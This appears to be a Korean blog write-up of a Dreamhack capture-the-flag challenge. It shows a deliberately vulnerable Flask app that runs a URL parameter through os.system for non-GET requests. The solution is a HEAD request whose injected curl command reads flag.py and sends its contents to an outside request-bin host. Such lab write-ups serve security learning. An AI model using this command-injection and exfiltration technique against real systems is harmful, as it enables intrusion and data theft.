[Dreamhack] blind-command

Sisyphus·2022년 11월 28일
0
#!/usr/bin/env python3
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/' , methods=['GET'])
def index():
    cmd = request.args.get('cmd', '')
    if not cmd:
        return "?cmd=[cmd]"

    if request.method == 'GET':
        ''
    else:
        os.system(cmd)
    return cmd

app.run(host='0.0.0.0', port=8000)
  • cmd 인자에 [cmd] 값을 입력받습니다.
  • request.methodGET이 아니면 os.system()으로 인자로 들어온 명령어를 실행합니다.


먼저 ?cmd=cat flag.py를 보내면 어떤 값이 전달되는지 burp suite로 봐보겠습니다.

GET 방식으로 cat flag.py가 전달됩니다.



os.system()으로 명령어를 실행시킬려면 GET 방식이 아니어야 하기 때문에 HEAD 방식으로 데이터를 보내줘야 할거 같습니다.
그리고 서버에서 명령어를 실행한 결과를 보기 위해 해당 결과를 외부로 전송해줘야 할거 같습니다.

https://tools.dreamhack.games/

사이트의 Request Bin 기능을 사용하면 명령어 실행 결과를 볼 수 있습니다.



burp suite로 Requst 내용을 수정해보면

HEAD /?cmd=curl+https%3a//ahbgmsn.request.dreamhack.games/+-d+"$(cat+flag.py)" HTTP/1.1



수정한 Request를 보내보면

cat flag.py가 실행되어 FLAG값이 출력된 것을 볼 수 있습니다.

0개의 댓글